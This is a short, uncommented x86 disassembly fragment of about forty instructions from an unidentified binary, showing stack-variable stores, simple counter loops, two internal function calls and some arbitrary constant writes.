mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], ebx
jmp 0x100372fd
mov dword [ebp - 0x4c], 0xa5eafb5d
dec dword [ebp - 0x4c]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x100372f0
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x10037320
lea ecx, [ebp - 0x75c]
call fcn.1000efca
mov dword [ebp - 0x44], 0xfff8
lea ecx, [ebp - 0x418]
push edi
call fcn.1000e440
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x1c], 0xa3a92bd4
mov dword [ebp - 0x14], 0xa2ae7b79
mov dword [ebp - 0x30], 0x9b3a00d0
mov dword [ebp - 0x34], 0x71808adc
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10037381
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x418]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10037372
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x418]
sub eax, 0x11accbad
neg eax
sbb eax, eax
inc eax
mov dword [edx + 8], eax
jne 0x100373a8